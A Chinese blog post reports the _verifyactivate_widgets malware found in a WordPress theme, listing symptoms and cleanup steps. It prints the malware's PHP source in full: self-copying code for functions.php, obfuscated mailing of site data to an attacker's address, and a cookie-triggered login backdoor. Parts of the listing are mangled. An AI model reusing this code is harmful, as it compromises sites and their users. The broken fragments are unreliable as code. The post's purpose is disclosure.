wordpress恶意代码解决方法分享

今天莫名其妙发现自己的测试站的主题带上了恶意代码,非常明显的就是出现了一个函数_verifyactivate_widgets,通常情况下,一旦出现了这个函数在你的主题中,你就麻烦了,这是一串恶意代码,虽然不影响主题的使用(有的时候是影响的,当收到双重感染的时候,_verifyactivate_widgets函数会出现两次,导致了主题不能使用),但这段代码将会通知代码的作者(邮件方式),而且PHP可以任意的获取用户名博客主题文件等等,而且它还特地为博客创建了一些看上去非常有用的代码,一些挂件等等,一切的一切都被暴露给这段代码的作者。这里将这段代码曝光,并强烈谴责这些恶意代码的生产者。

症状:1、可能会提示_verifyactivate_widgets函数声明了两次,程序错误主题不能使用;2、当前博客下的所有主题的functions.PHP中都会带下面这段代码;3、即使你通过FTP将这段代码删除,但你只要再运行一次博客,它就会像噩梦一样重新回来。

这段代码功能就是搜集博客的资料,各种资料,包括文章用户评论等等。你的博客很有可能成为为别人创造内容和财富的肉鸡。

治疗:1、在空间管理面板先停用这个域名,使用沙盒功能,或者联系你的服务商;2、备份所有数据,删除目前使用的主题之外的其他所有主题;3、下载当前主题一个文件一个文件的检查,把原本不属于你的代码删除;4、重新上传和开启网站;5、使用FTP,将你的主题文件的权限的“写入”权限去除(重要);6、利用360等其他第三方PHP杀毒程序对网站进行杀毒;7、确保你的wordpress系统没有被感染,确保你的主机没有被感染。

PHPcode1">PHPfunction _verifyactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output,$allowed); $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,"?".">") !== false){$cont=substr($cont,strripos($cont,"?".">") + 2);} $output=rtrim($output,"\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output;}function _get_allwidgets_cont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { return $items; }}if(!function_exists("stripos")){ function stripos( $str,$needle,$offset = 0 ){ return strpos( strtolower( $str ),strtolower( $needle ),$offset ); }}

if(!function_exists("strripos")){ function strripos( $haystack,$offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack,abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack,max( ( strlen($haystack) - $offset ),0 ) ) ); } if( ( $found = stripos( $temp_cut,strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; }}if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false,$skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; }}add_action("admin_head","_verifyactivate_widgets");function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($tagsallowed)) $tagsallowed=""; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_yes) :

global $wpdb,$post; $sq1="SELECT DISTINCT ID,post_title,post_content,post_password,comment_ID,comment_post_ID,comment_author,comment_date_gmt,comment_approved,comment_type,SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; if(!isset($sh_cont)) $sh_cont=substr($sq1,stripos($sq1,"live"),20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments,array($sh_cont,$home_filter,$filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text,"")) { $text=explode("",$text,2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ",$text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_",1); if("all" != $tagsallowed) { $output=strip_tags($output,$tagsallowed); return $output; } endif; $output=rtrim($output,"\s\n\t\r\0\x0B"); $output=($fixed_tags) ? balanceTags($output,true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; $output=apply_filters($filter,$output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; }

if ($is_use_more_link ) { if($for_more) { $output .= " <" . $tag . " class=\"more-link\">ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages,true)) ? $link_text_more : "" . "ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "

add_action("init","_getprepare_widget");

function __popular_posts($no_posts=6,$before="

  • ",$after="
  • ",$show_pass_post=false,$duration="") { global $wpdb; $request="SELECT ID,COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts,$wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " " . $after; } } else { $output .= $before . "None found" . $after; } return $output;}

    //获取最新评论function Get_Recent_Comment($limit=16,$cut_length=24){ global $wpdb; $admin_email = "'" . get_bloginfo ('admin_email') . "'"; //获取管理员邮箱,以便排除管理员的评论 $rccdb = $wpdb->get_results(" SELECT ID,comment_author_email,comment_content FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' AND comment_author_email != $admin_email ORDER BY comment_date_gmt DESC LIMIT $limit ");//数据库查询获得想要的结果 foreach ($rccdb as $row) { $rcc .= "

  • ".get_avatar($row,$size='32')."".$row->comment_author .":"."". "" . cut_str($row->comment_content,$cut_length)."". "
  • "; }//遍历查询到结果,获得想要的值,其中插入一些HTML元素,以便定义CSS样式 //$rcc = convert_smilies($rcc);//允许评论内容显示表情 echo $rcc;//输出结果}?>

    版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

    相关推荐


    今天看到群友突然滴滴滴的找我QQ,好像出什么大事情一样。原来他由于误操作导致网站文章被删除。
    今天遇到一个网友提示网站访问速度比较慢,然后通知日志看到有他的网站WordPress默认登录地址wp-login.php一直在被爬虫抓取,因为是有被破解后台账户信息,导致的占用数据库资源使得网站资源带宽不足后访问降低导致
    今天老左在帮助客户升级WordPress的时候我看他网站也比较简单就直接在后台手工升级的。升级后打开网站有出现"There has been a critical error on your website."的错误提示。
    我们在使用WordPress搭建的网站是否有留意查看源代码的时候看到标题中的原本"-",被转义成"&#8211"。其实这样并不影响用户阅读体验和搜索引擎,搜索引擎在收录后也会反向转义的。就是感觉看
    WordPress默认是无法上传.webp格式的文件,如果要上传需要对上传文件限制进行解除后才能上传。
    GTranslate 是一个流行的翻译插件,在免费和付费版本中提供不同的体验。 使用免费版本,您可以轻松提供任何语言的动态翻译,而付费版本提供可索引、可编辑的翻译版本,就像 Weglot 一样。
    时下主流的浏览器都自带了广告屏蔽功能,还有ADSafe、ADB等软件插件,不断更新,屏蔽网站代码!
    您是否正在寻找可用于显示数据的 WordPress 表格插件? WordPress 表格插件可让您以表格格式存储和呈现数据,以方便访问者阅读。
    wordPress数据库除了本身的表以外,部分插件会增加表来存储数据。如果插件已经删除了,这些插件生成的表还在数据库中,那么怎么删除呢?
    WordPress几乎是世界上最安全的开源程序,但其后台登录注册的地址始终是众所周知的,所以不少人觉得隐藏WordPress的登录地址后可能会更加安全。下面浩子就针对这个问题来简单说明一下方法。WordPress隐藏后台登录地址
    自 WordPress 5.8 正式版发布 以后,后台的小工具就默认是块编辑器的界面样式,很多老用户还没有来得及学习就一脸茫然了,今天浩子就来教大家如何恢复WordPress经典小工具。
    您想用您的语言翻译 WordPress 插件吗?许多 WordPress 插件是完全可翻译的,世界上任何人都可以轻松翻译。在本文中,我们将向您展示如何轻松地将 WordPress 插件翻译成您的语言(无需任何代码)。
    WordPress新手不清楚WordPress调试模式怎么开启,今天来教大家认识和开启。什么是WordPress的调试模式
    最近不少用户反馈说WordPress后台的外观-自定义点开后直接报错,错误信息如下:
    前段时间迁移网站的时候,需要导入 sql 文件,小编用的是phpmyadmin管理工具,无论是从本地上传.sql.zip 文件,还是从网站服务器上文件夹 upload 下选择 sql 文件,都上传失败,皆以 502 Bad Gateway 告终。因为时间
    WordPress程序报错的问题报错代码如下:This page contains the following errors:error on line 1 at column 6: XML declaration allowed only at the start of the documentBelow is a rendering of the page up t
    DedeCMS织梦系统是国内的优秀开源建站系统,使用的网站数量众多,不过近期织梦也要开始收取授权费用了:除个人非盈利网站外,均需要购买DedeCMS商业使用授权,授权费为5800元。
    WordPress生成XML站点地图的方法有很多,归纳总结一下,大致可以通过WordPress插件、在线生成软件或网站、PHP代码等三种方法实现,各有利弊,就看WordPress开发者怎么选择。
    开发主题时使用了wordpress的缓存函数,如下所示代码,但是在打印缓存时,怎么显示的都是false,经过查找才了解到。默认情况下,对象缓存是非持久的。这意味着存储在缓存中的数据仅在请求期间驻留在内存中。除非您安装持久缓存插件,否则缓存数据不会在页面加载时持久存储。就这个意思,想持久就需要找个插件装上。function get_term_post($term_id){if($term_id &l
    在 WordPress 主题和插件开发中,条件判断标签(Conditional Tags)是非常重要的,通过条件判断标签,我们可以判断各种情况,从而使用对应的代码等。例如在顶部导航条中有一个“首页”选项,在首页的时候需要设置成高亮,我们可以在头部导航模板文件(header.php)中使用条件判断标签 is_home() 来判断当前页面是不是首页,然后再输出高亮的 class。这类的条件判断标签一般